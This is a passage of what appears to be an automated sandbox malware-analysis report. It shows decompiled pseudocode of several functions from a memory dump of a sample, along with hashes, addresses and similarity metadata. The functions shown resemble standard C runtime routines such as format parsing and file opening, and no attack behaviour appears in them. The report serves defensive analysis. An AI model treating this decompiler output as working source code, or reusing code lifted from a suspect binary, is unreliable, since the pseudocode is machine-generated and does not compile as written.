				if (_t150 == 0) goto 0xda8e1f65;
				if (_t150 == 0) goto 0xda8e1f2c;
				if (_t150 == 0) goto 0xda8e1f24;
				if (_t150 == 0) goto 0xda8e1ef6;
				if (_t150 == 0) goto 0xda8e1eec;
				if (_t116 - 0xfffffffffffffffc != 1) goto 0xda8e213c;
				E00007FF77FF7DA8E2750(_t190, _t190, r8b - 0x20 +  &(_t193[1]) * 8, __rdi, _t214, _t221);
				goto 0xda8e1f58;
				E00007FF77FF7DA8E2418(_t190, _t223);
				goto 0xda8e1f58;
				if (r8b == 0x2a) goto 0xda8e1f0a;
				E00007FF77FF7DA8E1CA0(_t190, _t190, _t190 + 0x30, _t214);
				goto 0xda8e1f58;
				_t198 =  *(_t190 + 0x18);
				 *(_t190 + 0x18) = _t198 + 8;
				_t120 =  *_t198;
				_t138 =  <  ? _t142 : _t120;
				 *(_t190 + 0x30) =  <  ? _t142 : _t120;
				goto 0xda8e1f56;
				 *(_t190 + 0x30) = 0;
				goto 0xda8e2097;
				if (r8b == 0x2a) goto 0xda8e1f38;
				goto 0xda8e1f00;
				_t199 =  *(_t190 + 0x18);
				 *(_t190 + 0x18) =  &(_t199[2]);
				_t121 =  *_t199;
				 *(_t190 + 0x2c) = _t121;
				if (_t121 >= 0) goto 0xda8e1f56;
				 *(_t190 + 0x28) =  *(_t190 + 0x28) | 0x00000004;
				 *(_t190 + 0x2c) =  ~_t121;
				if (1 == 0) goto 0xda8e213c;
				goto 0xda8e2097;
				if (r8b == 0x20) goto 0xda8e1fab;
				if (r8b == 0x23) goto 0xda8e1fa2;
				if (r8b == 0x2b) goto 0xda8e1f99;
				if (r8b == 0x2d) goto 0xda8e1f90;
				if (r8b != 0x30) goto 0xda8e2097;
				 *(_t190 + 0x28) =  *(_t190 + 0x28) | 0x00000008;
				goto 0xda8e2097;
				 *(_t190 + 0x28) =  *(_t190 + 0x28) | 0x00000004;
				goto 0xda8e2097;
				 *(_t190 + 0x28) =  *(_t190 + 0x28) | 0x00000001;
				goto 0xda8e2097;
				 *(_t190 + 0x28) =  *(_t190 + 0x28) | 0x00000020;
				goto 0xda8e2097;
				 *(_t190 + 0x28) =  *(_t190 + 0x28) | 0x00000002;
				goto 0xda8e2097;
				 *(_t190 + 0x28) = _t216;
				 *(_t190 + 0x38) = bpl;
				 *(_t190 + 0x30) = _t142;
				 *((intOrPtr*)(_t190 + 0x34)) = 0;
				 *(_t190 + 0x4c) = bpl;
				goto 0xda8e2097;
				_t212 =  *((intOrPtr*)(_t190 + 8));
				 *(_t190 + 0x4c) = bpl;
				if ( *((intOrPtr*)(_t212 + 0x28)) != bpl) goto 0xda8e1fe1;
				E00007FF77FF7DA8E3970( &(_t199[2]), _t190, _t212, _t214);
				if (r8d - _t142 < 0) goto 0xda8e2058;
				if (( *( *((intOrPtr*)( *((intOrPtr*)(_t212 + 0x18)))) +  *(_t190 + 0x39) * 2) & 0x00008000) == 0) goto 0xda8e2058;
				_t202 =  *(_t190 + 0x460);
				if ( *((intOrPtr*)(_t202 + 0x10)) !=  *((intOrPtr*)(_t202 + 8))) goto 0xda8e201f;
				if ( *((intOrPtr*)(_t202 + 0x18)) == bpl) goto 0xda8e201a;
				 *(_t190 + 0x20) =  *(_t190 + 0x20) + 1;
				goto 0xda8e203d;
				 *(_t190 + 0x20) = _t142;
				goto 0xda8e203d;
				 *(_t190 + 0x20) =  *(_t190 + 0x20) + 1;
				 *((long long*)(_t202 + 0x10)) =  *((long long*)(_t202 + 0x10)) + 1;
				 *( *( *(_t190 + 0x460))) = r8b;
				 *( *(_t190 + 0x460)) =  &(( *( *(_t190 + 0x460)))[1]);
				_t183 =  *(_t190 + 0x10);
				r8b =  *_t183;
				 *(_t190 + 0x10) =  &(_t183[1]);
				 *(_t190 + 0x39) = r8b;
				if (r8b == 0) goto 0xda8e20e4;
				_t204 =  *(_t190 + 0x460);
				if ( *((intOrPtr*)(_t204 + 0x10)) !=  *((intOrPtr*)(_t204 + 8))) goto 0xda8e2079;
				if ( *((intOrPtr*)(_t204 + 0x18)) == bpl) goto 0xda8e2074;
				 *(_t190 + 0x20) =  *(_t190 + 0x20) + 1;
				goto 0xda8e2097;
				 *(_t190 + 0x20) = _t142;
				goto 0xda8e2097;
				 *(_t190 + 0x20) =  *(_t190 + 0x20) + 1;
				 *((long long*)(_t204 + 0x10)) =  *((long long*)(_t204 + 0x10)) + 1;
				 *( *( *(_t190 + 0x460))) = r8b;
				 *( *(_t190 + 0x460)) =  &(( *( *(_t190 + 0x460)))[1]);
				_t188 =  *(_t190 + 0x10);
				r8b =  *_t188;
				 *(_t190 + 0x10) =  &(_t188[1]);
				 *(_t190 + 0x39) = r8b;
				if (r8b != 0) goto 0xda8e1e65;
				 *((intOrPtr*)(_t190 + 0x468)) =  *((intOrPtr*)(_t190 + 0x468)) + 1;
				if ( *((intOrPtr*)(_t190 + 0x468)) != 2) goto 0xda8e1e53;
				return  *(_t190 + 0x20);
			}



























                                                                                                                              0x7ff7da8e1dc0
                                                                                                                              0x7ff7da8e1dc0
                                                                                                                              0x7ff7da8e1dc0
                                                                                                                              0x7ff7da8e1dc0
                                                                                                                              0x7ff7da8e1dc3
                                                                                                                              0x7ff7da8e1dc7
                                                                                                                              0x7ff7da8e1dcb
                                                                                                                              0x7ff7da8e1dcf
                                                                                                                              0x7ff7da8e1dd9
                                                                                                                              0x7ff7da8e1ddd
                                                                                                                              0x7ff7da8e1de2
                                                                                                                              0x7ff7da8e1dec
                                                                                                                              0x7ff7da8e1dee
                                                                                                                              0x7ff7da8e1df2
                                                                                                                              0x7ff7da8e1df9
                                                                                                                              0x7ff7da8e1dfe
                                                                                                                              0x7ff7da8e1e05
                                                                                                                              0x7ff7da8e1e07
                                                                                                                              0x7ff7da8e1e0b
                                                                                                                              0x7ff7da8e1e0e
                                                                                                                              0x7ff7da8e1e15
                                                                                                                              0x7ff7da8e1e1e
                                                                                                                              0x7ff7da8e1e23
                                                                                                                              0x7ff7da8e1e28
                                                                                                                              0x7ff7da8e1e30
                                                                                                                              0x7ff7da8e1e3b
                                                                                                                              0x7ff7da8e1e3d
                                                                                                                              0x7ff7da8e1e46
                                                                                                                              0x7ff7da8e1e53
                                                                                                                              0x7ff7da8e1e56
                                                                                                                              0x7ff7da8e1e5a
                                                                                                                              0x7ff7da8e1e60
                                                                                                                              0x7ff7da8e1e68
                                                                                                                              0x7ff7da8e1e6e
                                                                                                                              0x7ff7da8e1e74
                                                                                                                              0x7ff7da8e1e86
                                                                                                                              0x7ff7da8e1e99
                                                                                                                              0x7ff7da8e1e9e
                                                                                                                              0x7ff7da8e1ea3
                                                                                                                              0x7ff7da8e1eab
                                                                                                                              0x7ff7da8e1ead
                                                                                                                              0x7ff7da8e1eb6
                                                                                                                              0x7ff7da8e1ebf
                                                                                                                              0x7ff7da8e1ec8
                                                                                                                              0x7ff7da8e1ecd
                                                                                                                              0x7ff7da8e1ed2
                                                                                                                              0x7ff7da8e1ed7
                                                                                                                              0x7ff7da8e1edc
                                                                                                                              0x7ff7da8e1ee5
                                                                                                                              0x7ff7da8e1eea
                                                                                                                              0x7ff7da8e1eef
                                                                                                                              0x7ff7da8e1ef4
                                                                                                                              0x7ff7da8e1efa
                                                                                                                              0x7ff7da8e1f03
                                                                                                                              0x7ff7da8e1f08
                                                                                                                              0x7ff7da8e1f0a
                                                                                                                              0x7ff7da8e1f12
                                                                                                                              0x7ff7da8e1f16
                                                                                                                              0x7ff7da8e1f1c
                                                                                                                              0x7ff7da8e1f1f
                                                                                                                              0x7ff7da8e1f22
                                                                                                                              0x7ff7da8e1f24
                                                                                                                              0x7ff7da8e1f27
                                                                                                                              0x7ff7da8e1f30
                                                                                                                              0x7ff7da8e1f36
                                                                                                                              0x7ff7da8e1f38
                                                                                                                              0x7ff7da8e1f40
                                                                                                                              0x7ff7da8e1f44
                                                                                                                              0x7ff7da8e1f46
                                                                                                                              0x7ff7da8e1f4b
                                                                                                                              0x7ff7da8e1f4d
                                                                                                                              0x7ff7da8e1f53
                                                                                                                              0x7ff7da8e1f5a
                                                                                                                              0x7ff7da8e1f60
                                                                                                                              0x7ff7da8e1f69
                                                                                                                              0x7ff7da8e1f6f
                                                                                                                              0x7ff7da8e1f75
                                                                                                                              0x7ff7da8e1f7b
                                                                                                                              0x7ff7da8e1f81
                                                                                                                              0x7ff7da8e1f87
                                                                                                                              0x7ff7da8e1f8b
                                                                                                                              0x7ff7da8e1f90
                                                                                                                              0x7ff7da8e1f94
                                                                                                                              0x7ff7da8e1f99
                                                                                                                              0x7ff7da8e1f9d
                                                                                                                              0x7ff7da8e1fa2
                                                                                                                              0x7ff7da8e1fa6
                                                                                                                              0x7ff7da8e1fab
                                                                                                                              0x7ff7da8e1faf
                                                                                                                              0x7ff7da8e1fb4
                                                                                                                              0x7ff7da8e1fb8
                                                                                                                              0x7ff7da8e1fbc
                                                                                                                              0x7ff7da8e1fbf
                                                                                                                              0x7ff7da8e1fc2
                                                                                                                              0x7ff7da8e1fc6
                                                                                                                              0x7ff7da8e1fcb
                                                                                                                              0x7ff7da8e1fcf
                                                                                                                              0x7ff7da8e1fd7
                                                                                                                              0x7ff7da8e1fdc
                                                                                                                              0x7ff7da8e1fe9
                                                                                                                              0x7ff7da8e1ffc
                                                                                                                              0x7ff7da8e1ffe
                                                                                                                              0x7ff7da8e200d
                                                                                                                              0x7ff7da8e2013
                                                                                                                              0x7ff7da8e2015
                                                                                                                              0x7ff7da8e2018
                                                                                                                              0x7ff7da8e201a
                                                                                                                              0x7ff7da8e201d
                                                                                                                              0x7ff7da8e201f
                                                                                                                              0x7ff7da8e2022
                                                                                                                              0x7ff7da8e2030
                                                                                                                              0x7ff7da8e203a
                                                                                                                              0x7ff7da8e203d
                                                                                                                              0x7ff7da8e2041
                                                                                                                              0x7ff7da8e2047
                                                                                                                              0x7ff7da8e204b
                                                                                                                              0x7ff7da8e2052
                                                                                                                              0x7ff7da8e2058
                                                                                                                              0x7ff7da8e2067
                                                                                                                              0x7ff7da8e206d
                                                                                                                              0x7ff7da8e206f
                                                                                                                              0x7ff7da8e2072
                                                                                                                              0x7ff7da8e2074
                                                                                                                              0x7ff7da8e2077
                                                                                                                              0x7ff7da8e2079
                                                                                                                              0x7ff7da8e207c
                                                                                                                              0x7ff7da8e208a
                                                                                                                              0x7ff7da8e2094
                                                                                                                              0x7ff7da8e2097
                                                                                                                              0x7ff7da8e209b
                                                                                                                              0x7ff7da8e20a2
                                                                                                                              0x7ff7da8e20a6
                                                                                                                              0x7ff7da8e20ad
                                                                                                                              0x7ff7da8e20b3
                                                                                                                              0x7ff7da8e20c0
                                                                                                                              0x7ff7da8e20e3

                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: b489bde36cc5a8e6255924dcfd4ea6daa6e2d88b508b57d1d1e298d201e61c0f
                                                                                                                              • Instruction ID: 89a73ab90181fecd740a4eb16345590fde5fa47b66d40c7f2917b63b11ec211a
                                                                                                                              • Opcode Fuzzy Hash: b489bde36cc5a8e6255924dcfd4ea6daa6e2d88b508b57d1d1e298d201e61c0f
                                                                                                                              • Instruction Fuzzy Hash: 19B17D72908685C5FB66AF39804013CBBA0F769B48FE40176CE4E47396EF2ED661C761
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8ED668 Relevance: .2, Instructions: 198COMMONCrypto
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 47%
                                                                                                                              			E00007FF77FF7DA8ED668(void* __rax, long long __rbx, unsigned int* __rcx, void* __rdx, void* __rdi, long long __rsi, void* __r8, void* __r9, long long _a8, long long _a16, intOrPtr _a40, intOrPtr _a48, void* _a64, long long _a80) {
				long long _v48;
				signed long long _v56;
				long long _t37;
				long long _t44;
				unsigned int* _t49;
				void* _t51;
				void* _t58;

				_a8 = __rbx;
				_a16 = __rsi;
				_t58 = __r8;
				_t49 = __rcx;
				if (__rdx != 0) goto 0xda8ed6b8;
				_t44 = _a80;
				_v48 = _t44;
				 *((char*)(_t44 + 0x30)) = 1;
				 *((intOrPtr*)(_t44 + 0x2c)) = __rdx + 0x16;
				_v56 = _v56 & 0x00000000;
				r9d = 0;
				r8d = 0;
				E00007FF77FF7DA8E9C34(__rax, __rbx, _t44, __rdx, __rsi, _t51, __r8);
				goto 0xda8ed927;
				if (_t58 != 0) goto 0xda8ed6d8;
				_t37 = _a80;
				_v48 = _t37;
				 *((char*)(_t37 + 0x30)) = 1;
				 *((intOrPtr*)(_t37 + 0x2c)) = 0x16;
				goto 0xda8ed69c;
				if (__r9 == 0) goto 0xda8ed6bd;
				if (_a40 == 0) goto 0xda8ed6bd;
				if (_a48 == 0x41) goto 0xda8ed703;
				if (_t44 - 0x45 - 2 <= 0) goto 0xda8ed703;
				sil = 0;
				goto 0xda8ed706;
				sil = 1;
				if (0 != 0) goto 0xda8ed7fd;
				if ( *_t49 >> 0x34 != 0x7ff) goto 0xda8ed7fd;
				r8d = 0xc;
			}










                                                                                                                              0x7ff7da8ed668
                                                                                                                              0x7ff7da8ed66d
                                                                                                                              0x7ff7da8ed677
                                                                                                                              0x7ff7da8ed67d
                                                                                                                              0x7ff7da8ed683
                                                                                                                              0x7ff7da8ed685
                                                                                                                              0x7ff7da8ed690
                                                                                                                              0x7ff7da8ed695
                                                                                                                              0x7ff7da8ed699
                                                                                                                              0x7ff7da8ed69c
                                                                                                                              0x7ff7da8ed6a2
                                                                                                                              0x7ff7da8ed6a5
                                                                                                                              0x7ff7da8ed6ac
                                                                                                                              0x7ff7da8ed6b3
                                                                                                                              0x7ff7da8ed6bb
                                                                                                                              0x7ff7da8ed6bd
                                                                                                                              0x7ff7da8ed6ca
                                                                                                                              0x7ff7da8ed6cf
                                                                                                                              0x7ff7da8ed6d3
                                                                                                                              0x7ff7da8ed6d6
                                                                                                                              0x7ff7da8ed6db
                                                                                                                              0x7ff7da8ed6e8
                                                                                                                              0x7ff7da8ed6f4
                                                                                                                              0x7ff7da8ed6fc
                                                                                                                              0x7ff7da8ed6fe
                                                                                                                              0x7ff7da8ed701
                                                                                                                              0x7ff7da8ed703
                                                                                                                              0x7ff7da8ed711
                                                                                                                              0x7ff7da8ed72c
                                                                                                                              0x7ff7da8ed73f

                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: faff0602bb7e4fe5018f8c9b5950a7f6d45288abb49ae27aad1b6bc2f71a509b
                                                                                                                              • Instruction ID: 4db65d4c507fc0d0c61be44ec801e7d28c9271902b55eb28b01ce0356d4aff22
                                                                                                                              • Opcode Fuzzy Hash: faff0602bb7e4fe5018f8c9b5950a7f6d45288abb49ae27aad1b6bc2f71a509b
                                                                                                                              • Instruction Fuzzy Hash: CB810373A08281C6FB75EB19A84036DFA90FB95794FC04276DE8D47B86DE3ED6148B10
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8F5770 Relevance: .2, Instructions: 183COMMONCrypto
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 57%
                                                                                                                              			E00007FF77FF7DA8F5770(signed int __ecx, long long __rbx, signed char* __rdx, long long __rsi, intOrPtr* __r9) {
				void* __rdi;
				signed int _t49;
				signed int _t53;
				void* _t59;
				void* _t66;
				signed int _t85;
				signed int _t96;
				signed int _t97;
				void* _t101;
				void* _t111;
				void* _t112;
				intOrPtr* _t130;
				signed int* _t135;
				void* _t141;
				long long _t145;
				void* _t148;
				void* _t149;
				void* _t154;
				void* _t155;
				intOrPtr* _t156;
				void* _t158;

				_t132 = __rbx;
				_t154 = _t148;
				 *((long long*)(_t154 + 0x10)) = __rbx;
				 *((long long*)(_t154 + 0x18)) = _t145;
				 *((long long*)(_t154 + 0x20)) = __rsi;
				_push(_t141);
				_t149 = _t148 - 0x30;
				 *((char*)(__r9)) = 0;
				r10d = r10d & 0x0000003f;
				_t156 = __r9;
				_t96 = r8d;
				_t130 =  *((intOrPtr*)(0xda91ca20 + (__ecx >> 6) * 8));
				if ( *((intOrPtr*)(_t130 + 0x38 + (__ecx + __ecx * 8) * 8)) >= 0) goto 0xda8f59c0;
				if ((0x00074000 & r8d) != 0) goto 0xda8f57ec;
				_t135 = _t154 + 8;
				 *(_t149 + 0x50) = 0;
				_t101 = E00007FF77FF7DA8E56BC(_t130, _t135);
				if (_t101 != 0) goto 0xda8f59db;
				if (_t101 != 0) goto 0xda8f5826;
				asm("bts esi, 0xe");
				if ((_t96 & 0x00074000) == 0x4000) goto 0xda8f583c;
				if ((0xffffbfff & _t135 - 0x00010000) == 0) goto 0xda8f582a;
				if ((0xffffbfff & _t135 - 0x00020000) == 0) goto 0xda8f5837;
				_t49 = _t135 - 0x40000;
				if ((0xffffbfff & _t49) != 0) goto 0xda8f583f;
				 *((char*)(__r9)) = 1;
				goto 0xda8f583f;
				_t97 = _t96 | _t49;
				goto 0xda8f57ec;
				if ((_t97 & 0x00000301) != 0x301) goto 0xda8f583f;
				 *__r9 = dil;
				goto 0xda8f583f;
				 *((char*)(__r9)) = 0;
				if ((_t97 & 0x00070000) == 0) goto 0xda8f59c0;
				if (( *__rdx & 0x00000040) != 0) goto 0xda8f59c0;
				_t53 = __rdx[4] & 0xc0000000;
				if (_t53 == 0x40000000) goto 0xda8f587b;
				if (_t53 == 0x80000000) goto 0xda8f58f9;
				_t111 = _t53 - 0xc0000000;
				if (_t111 != 0) goto 0xda8f59c0;
				if (_t111 == 0) goto 0xda8f589b;
				if (_t111 == 0) goto 0xda8f589b;
				if (_t111 == 0) goto 0xda8f58bf;
				if (_t111 == 0) goto 0xda8f58bf;
				_t112 = __rdx[8] - 0xfffffffffffffffe - 1;
				if (_t112 != 0) goto 0xda8f59c0;
				 *(_t149 + 0x50) = 0;
				if (_t112 == 0) goto 0xda8f598a;
				if ( *((char*)(__r9)) - 1 != 1) goto 0xda8f59c0;
				goto 0xda8f5994;
				r8d = 2;
				E00007FF77FF7DA8EB6A4(_t130, __rbx, _t141, _t158, _t155);
				if (_t130 == 0) goto 0xda8f589b;
				r8d = 0;
				E00007FF77FF7DA8EB6A4(_t130, _t132, _t141);
				if (_t130 != 0xffffffff) goto 0xda8f58f0;
				E00007FF77FF7DA8E4394(_t130);
				goto 0xda8f59c2;
				if ((__rdx[4] & 0x80000000) == 0) goto 0xda8f59c0;
				r8d = 3;
				 *(_t149 + 0x50) = 0;
				_t59 = E00007FF77FF7DA8EAE7C(0, r15d, _t130, _t132, _t149 + 0x50);
				if (_t59 == 0xffffffff) goto 0xda8f58e4;
				if (_t59 == 2) goto 0xda8f5932;
				if (_t59 != 3) goto 0xda8f5972;
				if ( *(_t149 + 0x50) != 0xbfbbef) goto 0xda8f5932;
				 *_t156 = 1;
				goto 0xda8f59c0;
				_t85 =  *(_t149 + 0x50) & 0x0000ffff;
				if (_t85 != 0xfffe) goto 0xda8f594c;
				E00007FF77FF7DA8E4394(_t130);
				 *_t130 = 0x16;
				goto 0xda8f58e4;
				if (_t85 != 0xfeff) goto 0xda8f5972;
				r8d = 0;
				E00007FF77FF7DA8EB6A4(_t130, _t132, _t141);
				if (_t130 == 0xffffffff) goto 0xda8f58e4;
				 *_t156 = dil;
				goto 0xda8f59c0;
				r8d = 0;
				E00007FF77FF7DA8EB6A4(_t130, _t132, _t141);
				if (_t130 != 0xffffffff) goto 0xda8f59c0;
				goto 0xda8f58e4;
				 *(_t149 + 0x50) = 0xbfbbef;
				r8d = 3;
				r8d = r8d;
				_t66 = E00007FF77FF7DA8EC1C8(0, _t132, _t141);
				if (_t66 == 0xffffffff) goto 0xda8f58e4;
				if (3 - 0 + _t66 > 0) goto 0xda8f5998;
				return 0;
			}
























                                                                                                                              0x7ff7da8f5770
                                                                                                                              0x7ff7da8f5770
                                                                                                                              0x7ff7da8f5773
                                                                                                                              0x7ff7da8f5777
                                                                                                                              0x7ff7da8f577b
                                                                                                                              0x7ff7da8f577f
                                                                                                                              0x7ff7da8f5784
                                                                                                                              0x7ff7da8f5790
                                                                                                                              0x7ff7da8f5793
                                                                                                                              0x7ff7da8f57a1
                                                                                                                              0x7ff7da8f57a8
                                                                                                                              0x7ff7da8f57b2
                                                                                                                              0x7ff7da8f57bb
                                                                                                                              0x7ff7da8f57c9
                                                                                                                              0x7ff7da8f57cb
                                                                                                                              0x7ff7da8f57cf
                                                                                                                              0x7ff7da8f57d8
                                                                                                                              0x7ff7da8f57da
                                                                                                                              0x7ff7da8f57e6
                                                                                                                              0x7ff7da8f57e8
                                                                                                                              0x7ff7da8f57fb
                                                                                                                              0x7ff7da8f580a
                                                                                                                              0x7ff7da8f5814
                                                                                                                              0x7ff7da8f5816
                                                                                                                              0x7ff7da8f581e
                                                                                                                              0x7ff7da8f5820
                                                                                                                              0x7ff7da8f5824
                                                                                                                              0x7ff7da8f5826
                                                                                                                              0x7ff7da8f5828
                                                                                                                              0x7ff7da8f5835
                                                                                                                              0x7ff7da8f5837
                                                                                                                              0x7ff7da8f583a
                                                                                                                              0x7ff7da8f583c
                                                                                                                              0x7ff7da8f5845
                                                                                                                              0x7ff7da8f584f
                                                                                                                              0x7ff7da8f585d
                                                                                                                              0x7ff7da8f5869
                                                                                                                              0x7ff7da8f586d
                                                                                                                              0x7ff7da8f5873
                                                                                                                              0x7ff7da8f5875
                                                                                                                              0x7ff7da8f5881
                                                                                                                              0x7ff7da8f5886
                                                                                                                              0x7ff7da8f588b
                                                                                                                              0x7ff7da8f5890
                                                                                                                              0x7ff7da8f5892
                                                                                                                              0x7ff7da8f5895
                                                                                                                              0x7ff7da8f589f
                                                                                                                              0x7ff7da8f58a6
                                                                                                                              0x7ff7da8f58af
                                                                                                                              0x7ff7da8f58ba
                                                                                                                              0x7ff7da8f58bf
                                                                                                                              0x7ff7da8f58c7
                                                                                                                              0x7ff7da8f58cf
                                                                                                                              0x7ff7da8f58d1
                                                                                                                              0x7ff7da8f58d9
                                                                                                                              0x7ff7da8f58e2
                                                                                                                              0x7ff7da8f58e4
                                                                                                                              0x7ff7da8f58eb
                                                                                                                              0x7ff7da8f58f3
                                                                                                                              0x7ff7da8f58f9
                                                                                                                              0x7ff7da8f58ff
                                                                                                                              0x7ff7da8f590b
                                                                                                                              0x7ff7da8f5913
                                                                                                                              0x7ff7da8f5917
                                                                                                                              0x7ff7da8f591c
                                                                                                                              0x7ff7da8f5927
                                                                                                                              0x7ff7da8f5929
                                                                                                                              0x7ff7da8f592d
                                                                                                                              0x7ff7da8f5932
                                                                                                                              0x7ff7da8f593d
                                                                                                                              0x7ff7da8f593f
                                                                                                                              0x7ff7da8f5944
                                                                                                                              0x7ff7da8f594a
                                                                                                                              0x7ff7da8f5953
                                                                                                                              0x7ff7da8f5955
                                                                                                                              0x7ff7da8f595e
                                                                                                                              0x7ff7da8f5967
                                                                                                                              0x7ff7da8f596d
                                                                                                                              0x7ff7da8f5970
                                                                                                                              0x7ff7da8f5972
                                                                                                                              0x7ff7da8f597a
                                                                                                                              0x7ff7da8f5983
                                                                                                                              0x7ff7da8f5985
                                                                                                                              0x7ff7da8f5994
                                                                                                                              0x7ff7da8f5998
                                                                                                                              0x7ff7da8f59a3
                                                                                                                              0x7ff7da8f59ac
                                                                                                                              0x7ff7da8f59b4
                                                                                                                              0x7ff7da8f59be
                                                                                                                              0x7ff7da8f59da

                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: _invalid_parameter_noinfo
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 3215553584-0
                                                                                                                              • Opcode ID: 1a393f0da6a9aa0cd8df53839c99000598b35257faab01b46d85da189d16e6c8
                                                                                                                              • Instruction ID: 25419fb27d11332d8f0cb4e4393f5bb9fb34dab87e9fcdbcde89dc3fd3547842
                                                                                                                              • Opcode Fuzzy Hash: 1a393f0da6a9aa0cd8df53839c99000598b35257faab01b46d85da189d16e6c8
                                                                                                                              • Instruction Fuzzy Hash: 1A61E722F1C28346FB2EA928945433EE681BF60770FD44277DE5D866D7DE6DE8208720
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8E0AF4 Relevance: .1, Instructions: 146COMMONCrypto
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 73%
                                                                                                                              			E00007FF77FF7DA8E0AF4(void* __edx, long long __rbx, void* __rcx, long long __rdi, long long __rsi, long long __rbp, void* _a8, void* _a16, void* _a24, void* _a32) {
				long long _v16;
				signed long long _v24;
				signed int _t83;
				void* _t98;
				intOrPtr _t99;
				signed int _t106;
				void* _t114;
				intOrPtr _t118;
				void* _t123;
				intOrPtr* _t126;
				intOrPtr _t127;
				char* _t128;
				intOrPtr* _t129;
				void* _t133;
				intOrPtr _t144;
				void* _t148;
				void* _t151;
				void* _t153;
				void* _t154;

				_t114 = _t148;
				 *((long long*)(_t114 + 8)) = __rbx;
				 *((long long*)(_t114 + 0x10)) = __rbp;
				 *((long long*)(_t114 + 0x18)) = __rsi;
				 *((long long*)(_t114 + 0x20)) = __rdi;
				_push(_t154);
				r8d =  *((intOrPtr*)(__rcx + 0x34));
				bpl = __edx;
				_t123 = __rcx;
				r14d = 8;
				_t98 = r8d - 5;
				if (_t98 > 0) goto 0xda8e0bf0;
				if (_t98 == 0) goto 0xda8e0b56;
				_t99 = r8d;
				if (_t99 == 0) goto 0xda8e0c47;
				r8d = r8d - 1;
				if (_t99 == 0) goto 0xda8e0bc7;
				r8d = r8d - 1;
				if (_t99 == 0) goto 0xda8e0b9f;
				r8d = r8d - 1;
				if (_t99 == 0) goto 0xda8e0c47;
				if (r8d != 1) goto 0xda8e0c13;
				_t83 =  *(__rcx + 0x28);
				_t126 =  *((intOrPtr*)(__rcx + 0x18));
				 *((long long*)(__rcx + 0x18)) = _t126 + 8;
				if ((_t83 >> 0x00000004 & 0x00000001) == 0) goto 0xda8e0b89;
				if ( *_t126 >= 0) goto 0xda8e0b89;
				 *(__rcx + 0x28) = _t83 | 0x00000040;
				if ( *((intOrPtr*)(__rcx + 0x30)) >= 0) goto 0xda8e0c73;
				 *((intOrPtr*)(__rcx + 0x30)) = 1;
				goto 0xda8e0c8a;
				_t127 =  *((intOrPtr*)(_t126 + 0x18));
				 *((long long*)(__rcx + 0x18)) = _t127 + 8;
				if (( *(_t126 + 0x28) >> 0x00000004 & 0x00000001) == 0) goto 0xda8e0bc2;
				goto 0xda8e0b72;
				goto 0xda8e0b72;
				_t128 =  *((intOrPtr*)(_t127 + 0x18));
				_t106 = dil &  *(_t127 + 0x28) >> 0x00000004;
				 *((long long*)(__rcx + 0x18)) = _t128 + 8;
				if (_t106 == 0) goto 0xda8e0beb;
				goto 0xda8e0b72;
